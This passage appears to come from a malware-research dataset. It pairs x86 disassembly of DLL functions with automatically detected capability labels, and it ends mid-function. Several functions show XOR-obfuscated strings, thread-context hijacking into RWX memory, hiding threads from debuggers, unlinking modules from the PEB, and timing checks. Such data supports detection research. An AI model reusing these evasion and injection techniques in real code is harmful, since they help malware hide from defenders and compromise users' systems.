joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008bb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003e496
mov eax, dword fs:[0]
push eax
sub esp, 0x184
mov eax, dword [0x10048018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov esi, ecx
mov dword [ebp - 0x170], esi
push 0
lea eax, [ebp - 0x16f]
mov word [ebp - 0x170], 0x47
push eax
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x190], 0
mov byte [ebp - 0x16f], 0
mov dword [ebp - 0x12c], 0xf
mov dword [ebp - 0x130], 0
mov byte [ebp - 0x140], 0
call fcn.10004e40
mov dword [ebp - 4], 0
test edi, edi
jne 0x10008c5f
lea eax, [ebp - 0x140]
mov ecx, esi
push eax
call fcn.10004490
mov ecx, dword [ebp - 0x12c]
cmp ecx, 0x10
jb 0x10008de5
inc ecx
push ecx
jmp 0x10008dda
movaps xmm0, xmmword [0x100425a0]
xor ecx, ecx
movups xmmword [ebp - 0x18c], xmm0
mov dword [ebp - 0x17c], 0x424a0a42
mov dword [ebp - 0x178], 0x2f424703
mov dword [ebp - 0x174], 0x2a425d
nop dword [eax]
mov al, byte [ebp - 0x18c]
xor byte [ebp + ecx - 0x18b], al
inc ecx
cmp ecx, 0x1a
jb 0x10008c90
cmp byte [ebp - 0x18b], 0
mov byte [ebp - 0x171], 0
mov dword [ebp - 0x114], 0xf
mov dword [ebp - 0x118], 0
mov byte [ebp - 0x128], 0
jne 0x10008cd2
xor ecx, ecx
jmp 0x10008ce9
lea ecx, [ebp - 0x18b]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10008ce0
sub ecx, edx
push ecx
lea eax, [ebp - 0x18b]
push eax
lea ecx, [ebp - 0x128]
call fcn.10004e40
lea eax, [ebp - 0x148]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x16c]
mov dword [ebp - 0x148], edi
push eax
mov dword [ebp - 0x144], 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
cmp dword [ebp - 0x114], 0x10
lea ecx, [ebp - 0x16c]
push ecx
lea eax, [ebp - 0x128]
cmovae eax, dword [ebp - 0x128]
push eax
lea eax, [ebp - 0x110]
push 0x100
push eax
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
add esp, 0x18
cmp byte [ebp - 0x110], 0
jne 0x10008d62
xor ecx, ecx
jmp 0x10008d79
lea ecx, [ebp - 0x110]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10008d70
sub ecx, edx
push ecx
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x140]
call fcn.10004e40
lea eax, [ebp - 0x140]
mov ecx, esi
push eax
call fcn.10004490
mov eax, dword [ebp - 0x114]
cmp eax, 0x10
jb 0x10008db2
inc eax
push eax
push dword [ebp - 0x128]
call fcn.100055b0
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x114], 0xf
mov dword [ebp - 0x118], 0
mov byte [ebp - 0x128], 0
cmp eax, 0x10
jb 0x10008de5
inc eax
push eax
push dword [ebp - 0x140]
call fcn.100055b0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1003c800
mov esp, ebp
pop ebp
ret
Function at 0x1000b5a0
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov eax, dword [0x10048018]
xor eax, esp
mov dword [esp + 0x18], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
jne 0x1000b5ea
mov dword [edi], 0
mov eax, edi
mov dword [edi + 4], 0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.1003c800
mov esp, ebp
pop ebp
ret
cmp dword [esp + 0x1c], 0
jg 0x1000b5fa
jl 0x1000b5c9
cmp dword [esp + 0x18], 0
jbe 0x1000b5c9
mov ebx, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea eax, [esp + 0x10]
push eax
xor esi, esi
call ebx
test eax, eax
jne 0x1000b621
nop dword [eax]
inc esi
cmp esi, 3
ja 0x1000b5c9
lea eax, [esp + 0x10]
push eax
call ebx
test eax, eax
je 0x1000b610
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
call fcn.1003d6a0
mulsd xmm0, qword [0x10041d50]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
movsd qword [esp + 0x10], xmm0
call fcn.1003d6a0
movsd xmm1, qword [esp + 0x10]
divsd xmm1, xmm0
movaps xmm0, xmm1
call fcn.1003d54f
mov ecx, dword [esp + 0x24]
mov dword [edi], eax
mov eax, edi
mov dword [edi + 4], edx
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1003c800
mov esp, ebp
pop ebp
ret

Function at 0x1000b8c0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x10048018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov edi, ecx
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x130]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1000b91c
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
cmp dword [ebp - 0x128], edi
je 0x1000b936
lea eax, [ebp - 0x130]
push eax
push esi
call ebx
test eax, eax
jne 0x1000b906
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003c800
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1003c800
mov esp, ebp
pop ebp
ret

Function at 0x1000ba80
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
mov eax, 1
mov dword [0x10048064], edx
mov ecx, edx
shr ecx, 0x1e
xor ecx, edx
imul edx, ecx, 0x6c078965
add edx, eax
mov dword [eax*4 + 0x10048064], edx
inc eax
cmp eax, 0x270
jl 0x1000ba91
mov dword [0x10048060], 0x270
pop ebp
ret 8
Function at 0x1000bbb0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
lea eax, [ecx + 8]
mov esi, 0x270
nop dword [eax]
mov edx, dword [eax - 4]
lea eax, [eax + 4]
xor edx, dword [eax - 4]
and edx, 0x7fffffff
xor edx, dword [eax - 8]
mov ecx, edx
and cl, 1
movzx ecx, cl
neg ecx
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [eax + 0x62c]
xor ecx, edx
mov dword [eax + 0x9b8], ecx
sub esi, 1
jne 0x1000bbc0
pop esi
ret

Function at 0x1000bc00
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov ebx, ecx
mov ecx, 0xe3
push esi
push edi
lea edi, [ebx + 0x9c4]
mov edx, dword [edi + 4]
lea edi, [edi + 4]
xor edx, dword [edi - 4]
and edx, 0x7fffffff
xor edx, dword [edi - 4]
mov eax, edx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr edx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x630]
xor eax, edx
mov dword [edi - 0x9c4], eax
sub ecx, 1
jne 0x1000bc10
lea esi, [ebx + 0xd50]
mov edi, 0x18c
mov ecx, dword [esi + 4]
lea esi, [esi + 4]
xor ecx, dword [esi - 4]
and ecx, 0x7fffffff
xor ecx, dword [esi - 4]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi - 0xd50]
xor eax, ecx
mov dword [esi - 0x9c4], eax
sub edi, 1
jne 0x1000bc52
mov ecx, dword [ebx + 0x1380]
xor ecx, dword [ebx + 4]
and ecx, 0x7fffffff
xor ecx, dword [ebx + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [ebx + 0x634]
xor eax, ecx
mov dword [ebx + 0x9c0], eax
mov dword [ebx], edi
pop edi
pop esi
pop ebx
ret
Function at 0x1000c7c0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using rc4 via winapi
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
movaps xmm0, xmmword [0x10042920]
xor ecx, ecx
movups xmmword [ebp - 0x34], xmm0
push esi
movaps xmm0, xmmword [0x10042930]
movups xmmword [ebp - 0x24], xmm0
movaps xmm0, xmmword [str.f_Uwjsla_w_s45]
movups xmmword [ebp - 0x14], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x2e
jb 0x1000c7f0
push 0
push 1
lea eax, [ebp - 0x33]
mov byte [ebp - 5], 0
push eax
push 0
push 0x1004a31c
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1000c8dc
push 0x1004a318
push 0
push 0
push 0x8004
push dword [0x1004a31c]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1000c8dc
movaps xmm0, xmmword [0x10042350]
xor ecx, ecx
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x10], 0x31693f38
movaps xmm0, xmmword [0x100428b0]
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0xc], 0x3b6d2b19
movaps xmm0, xmmword [0x100429f0]
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 8], 0x7829230c
mov word [ebp - 4], 0x24
nop
mov al, byte [ebp - 0x40]
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0x3c
jb 0x1000c880
push 1
push 0x3c
lea eax, [ebp - 0x3f]
mov byte [ebp - 3], 0
push eax
push dword [0x1004a318]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1000c8dc
push 0x1004a314
push 0x800000
push dword [0x1004a318]
push 0x6801
push dword [0x1004a31c]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x1000c8dc
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x1004a310], eax
call fcn.1003b450
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call esi
push eax
call fcn.1003b920
push 0x1000c6a0
push 0x1004a30c
call fcn.1003b160
call fcn.1003b4b0
push 4
push 0x60f6e0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1000c94a
mov dword [0x1004a30c], 0x60f6e0
call fcn.1003b450
call esi
push eax
call fcn.1003b920
push 0x1000c6a0
push 0x1004a30c
call fcn.1003acd0
call fcn.1003b4b0
call fcn.1003b450
call esi
push eax
call fcn.1003b920
push 0x1000c6d0
push 0x1004a308
call fcn.1003b160
call fcn.1003b4b0
push 4
push 0x60eab0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1000c9a7
mov dword [0x1004a308], 0x60eab0
call fcn.1003b450
call esi
push eax
call fcn.1003b920
push 0x1000c6d0
push 0x1004a308
call fcn.1003acd0
call fcn.1003b4b0
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000e500
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003e9b0
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x10048018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x1004a305], 0
je 0x1000e6d2
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
call esi
sub eax, dword [0x1004a338]
sbb edx, dword [0x1004a33c]
mov dword [ebp - 0x48], edx
jne 0x1000e55b
cmp eax, 0xbb8
jb 0x1000e6d2
call esi
movaps xmm0, xmmword [str.H_f:___e.__t____]
xor ecx, ecx
mov dword [0x1004a338], eax
mov dword [0x1004a33c], edx
movups xmmword [ebp - 0x20], xmm0
mov al, byte [ebp - 0x20]
xor byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0xe
jb 0x1000e575
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x1f]
mov ecx, esp
push eax
call fcn.10004510
lea ecx, [ebp - 0x44]
call fcn.10038860
add esp, 0x18
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x14], 0
movq qword [ebp - 0x1c], xmm0
mov byte [ebp - 0x4d], 0xa1
mov dword [ebp - 0x2c], vtable.ByteBuffer.0
mov byte [ebp - 0x28], 1
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
push 0x1000
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 1
call fcn.10008230
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x18]
mov edi, edx
mov ecx, dword [ebp - 0x1c]
sub edi, ecx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], vtable.Packet.0
cmp edi, 0x989680
ja 0x1000e63f
lea esi, [eax + 1]
cmp edi, esi
jae 0x1000e632
push esi
lea ecx, [ebp - 0x1c]
call fcn.100083d0
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov dl, byte [ebp - 0x4d]
mov byte [ecx + eax], dl
inc eax
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
sub edx, ecx
mov byte [ebp - 4], 3
mov byte [ebp - 0x4d], 0xa2
cmp edx, 0x989680
ja 0x1000e671
lea esi, [eax + 1]
cmp edx, esi
jae 0x1000e667
push esi
lea ecx, [ebp - 0x1c]
call fcn.100083d0
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov dl, byte [ebp - 0x4d]
mov byte [ecx + eax], dl
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x30], 0x10
lea eax, [ebp - 0x44]
lea ecx, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x44]
push eax
call fcn.100080c0
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
sub ecx, eax
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x48], eax
cmp ecx, 0x4000
ja 0x1000e6b1
mov ecx, dword ds:[0x10041a94]
mov ecx, dword ds:[ecx]
push dword [ebp - 0x54]
push dword [ebp - 0x48]
call dword [0x10041a90]
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x2c], vtable.ByteBuffer.0
call fcn.10008360
mov eax, dword [ebp - 0x30]
cmp eax, 0x10
jb 0x1000e6d2
inc eax
push eax
push dword [ebp - 0x44]
call fcn.100055b0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1003c800
mov esp, ebp
pop ebp
ret
Function at 0x1000f710
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x34
mov eax, dword [0x10048018]
xor eax, esp
mov dword [esp + 0x30], eax
movaps xmm0, xmmword [str.g2.___t]
push esi
mov esi, ecx
mov dword [esp + 0x14], 0x8040e49
movups xmmword [esp + 4], xmm0
mov byte [esp + 0x18], 0
xor ecx, ecx
mov al, byte [esp + 4]
xor byte [esp + ecx + 5], al
inc ecx
cmp ecx, 0x13
jb 0x1000f742
lea eax, [esp + 5]
mov byte [esp + 0x18], 0
push eax
mov edx, 0x1004a640
lea ecx, [esp + 0x20]
call fcn.1000d770
mov eax, dword [esi + 0x1fc]
add esp, 4
test eax, eax
je 0x1000f77c
push eax
call dword [sym.imp.USER32.dll_DestroyIcon]
cmp dword [esp + 0x30], 0x10
lea eax, [esp + 0x1c]
push 0x8010
cmovae eax, dword [esp + 0x20]
push 0
push 0
push 1
push eax
push 0
call dword [sym.imp.USER32.dll_LoadImageA]
mov dword [esi + 0x1fc], eax
test eax, eax
je 0x1000f7bd
cmp byte [esi + 0x200], 0
mov dword [esi + 0x14], eax
je 0x1000f7bd
push esi
push 1
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
mov eax, dword [esp + 0x30]
cmp eax, 0x10
jb 0x1000f7d1
inc eax
push eax
push dword [esp + 0x20]
call fcn.100055b0
mov ecx, dword [esp + 0x34]
pop esi
xor ecx, esp
call fcn.1003c800
mov esp, ebp
pop ebp
ret
Function at 0x1000f940
Capabilities:
Allocate or change rwx memory
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x10048018]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, 0x6e
mov dword [ebp - 0x2f8], 0x21a3c6e
mov dword [ebp - 0x2f4], 0xa0f0122
xor eax, eax
mov dword [ebp - 0x2f0], 0x71c1a3d
mov word [ebp - 0x2ec], 0x900
mov byte [ebp - 0x2ea], 0
xor byte [ebp + eax - 0x2f7], cl
inc eax
cmp eax, 0xd
jae 0x1000f99a
mov cl, byte [ebp - 0x2f8]
jmp 0x1000f985
push ebx
mov byte [ebp - 0x2e8], 0x67
mov al, 9
xor al, byte [ebp - 0x2e8]
mov bl, 0xb
mov ah, bl
mov byte [ebp - 0x2e7], al
mov al, byte [ebp - 0x2e8]
mov dl, 3
mov bh, ah
mov byte [ebp - 0x2d9], ah
xor bl, al
mov byte [ebp - 0x2de], 0
xor ah, al
mov byte [ebp - 0x2ea], 0
xor bh, al
mov byte [ebp - 0x2e3], ah
mov dh, dl
mov byte [ebp - 0x2e4], bl
xor dl, al
mov byte [ebp - 0x2e0], bh
xor dh, al
mov byte [ebp - 0x2e5], dl
mov cl, 0x13
mov byte [ebp - 0x2e1], dh
xor cl, al
mov byte [ebp - 0x2de], 0
mov ch, 0x49
mov byte [ebp - 0x2e6], cl
xor ch, al
mov al, byte [ebp - 0x2d9]
xor al, byte [ebp - 0x2e8]
mov byte [ebp - 0x2df], al
lea eax, [ebp - 0x2f7]
push esi
push eax
lea eax, [ebp - 0x2e7]
mov byte [ebp - 0x2e2], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
jne 0x1000fa61
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003c800
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1000fa4f
push 0x2cc
lea eax, [ebp - 0x2d8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1000fa4f
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x1000fa4f
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1000fa4f
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x10001e30
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1000fa4f
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
pop ebx
call fcn.1003c800
mov esp, ebp
pop ebp
ret
Function at 0x1000fb30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov byte [ebp - 0x10], 0x55
mov al, 0x3b
xor al, byte [ebp - 0x10]
mov bl, 0x39
mov ah, bl
mov byte [ebp - 0xf], al
mov al, byte [ebp - 0x10]
mov dl, 0x31
push esi
mov esi, ecx
mov byte [ebp - 1], ah
mov bh, ah
mov byte [ebp - 6], 0
mov dh, dl
mov byte [ebp - 6], 0
xor dl, al
xor bl, al
xor ah, al
mov byte [ebp - 0xd], dl
xor dh, al
mov byte [ebp - 0xb], ah
xor bh, al
mov byte [ebp - 0xc], bl
mov cl, 0x21
mov byte [ebp - 9], dh
xor cl, al
mov byte [ebp - 8], bh
mov ch, 0x7b
mov byte [ebp - 0xe], cl
xor ch, al
mov al, byte [ebp - 1]
xor al, byte [ebp - 0x10]
mov byte [ebp - 7], al
lea eax, [ebp - 0xf]
push edi
push eax
mov byte [ebp - 0xa], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
test edx, edx
jne 0x1000fba8
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movaps xmm0, xmmword [0x10042750]
xor eax, eax
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x465c605a
mov dword [ebp - 0x14], 0x505551
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0x16
jb 0x1000fbc3
lea eax, [ebp - 0x27]
mov byte [ebp - 0x11], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x1000fb9f
test esi, esi
jne 0x1000fbf1
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov esi, eax
push 0
push 0
push 0x11
push esi
call edi
pop edi
test eax, eax
pop esi
sete al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000fc10
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x1000fc4e
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000fc52
cmp edx, esi
jne 0x1000fc37
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x1000fc72
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000fc76
cmp edx, esi
jne 0x1000fc5b
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x1000fc96
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000fc9a
cmp edx, esi
jne 0x1000fc7f
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000fd50
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x10048018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
call fcn.1000b8c0
test eax, eax
je 0x1000fe5c
push esi
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
test eax, eax
setne bl
test ebx, ebx
je 0x1000fe5c
push eax
call esi
test ebx, ebx
je 0x1000fe5c
movaps xmm0, xmmword [0x10041ee0]
xor eax, eax
movups xmmword [ebp - 0x28], xmm0
nop dword [eax]
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0xe
jb 0x1000fdb0
mov byte [ebp - 0x18], 5
mov al, 0x6b
xor al, byte [ebp - 0x18]
mov bl, 0x69
mov ah, bl
mov byte [ebp - 0x17], al
mov al, byte [ebp - 0x18]
mov dl, 0x61
mov bh, ah
mov byte [ebp - 9], ah
xor bl, al
mov byte [ebp - 0xe], 0
xor ah, al
mov byte [ebp - 0x19], 0
xor bh, al
mov byte [ebp - 0x13], ah
mov dh, dl
mov byte [ebp - 0x14], bl
xor dl, al
mov byte [ebp - 0x10], bh
xor dh, al
mov byte [ebp - 0x15], dl
mov cl, 0x71
mov byte [ebp - 0x11], dh
xor cl, al
mov byte [ebp - 0xe], 0
mov ch, 0x2b
mov byte [ebp - 0x16], cl
xor ch, al
mov al, byte [ebp - 9]
xor al, byte [ebp - 0x18]
mov byte [ebp - 0xf], al
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0x17]
mov byte [ebp - 0x12], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x116e058
mov ebx, eax
call fcn.1000e390
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x1000fe75
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push edi
call ebx
test eax, eax
jns 0x1000fe64
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [ebp - 8], 0
jbe 0x1000fe72
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1003c800
mov esp, ebp
pop ebp
ret
Function at 0x10010bc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov byte [ebp - 0x10], 0x67
mov al, 5
xor al, byte [ebp - 0x10]
mov dl, 6
mov byte [ebp - 0xf], al
mov dh, 0x38
mov al, byte [ebp - 0x10]
mov bl, 0x14
push esi
xor dl, al
mov byte [ebp - 7], 0
xor dh, al
mov byte [ebp - 0xe], dl
push edi
mov esi, ecx
mov byte [ebp - 0xb], dh
sub esp, 0x18
mov byte [ebp - 7], 0
mov edx, esp
mov ch, bl
mov ah, 2
mov bh, 4
mov cl, 8
xor bl, al
xor ah, al
mov byte [ebp - 0xd], bl
xor bh, al
mov byte [ebp - 0xc], ah
xor cl, al
mov byte [ebp - 0xa], bh
xor ch, al
mov byte [ebp - 9], cl
mov byte [ebp - 8], ch
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
cmp dword [edx + 0x14], 0x10
jb 0x10010c30
mov eax, dword [edx]
jmp 0x10010c32
mov eax, edx
mov byte [eax], 0
cmp byte [ebp - 0xf], 0
jne 0x10010c3f
xor ecx, ecx
jmp 0x10010c4e
lea ecx, [ebp - 0xf]
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10010c45
sub ecx, edi
push ecx
lea eax, [ebp - 0xf]
mov ecx, edx
push eax
call fcn.10004e40
mov ecx, dword [esi]
call fcn.1000db70
mov ebx, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
add esp, 0x18
mov dword [esi + 4], eax
push 4
push eax
call ebx
test eax, eax
je 0x10010c7d
mov dword [esi + 4], 0
movaps xmm0, xmmword [0x10041e20]
xor ecx, ecx
movups xmmword [ebp - 0x14], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x14]
xor byte [ebp + ecx - 0x13], al
inc ecx
cmp ecx, 0xe
jb 0x10010c90
sub esp, 0x18
mov byte [ebp - 5], 0
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
mov byte [edx], 0
cmp byte [ebp - 0x13], 0
jne 0x10010cc1
xor ecx, ecx
jmp 0x10010cd0
lea ecx, [ebp - 0x13]
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10010cc7
sub ecx, edi
push ecx
lea eax, [ebp - 0x13]
mov ecx, edx
push eax
call fcn.10004e40
mov ecx, dword [esi + 4]
call fcn.1000db70
add esp, 0x18
mov dword [esi + 8], eax
push 4
push eax
call ebx
test eax, eax
je 0x10010cfa
mov dword [esi + 8], 0
cmp dword [esi + 8], 0
je 0x10010d14
cmp dword [0x1004a674], 0
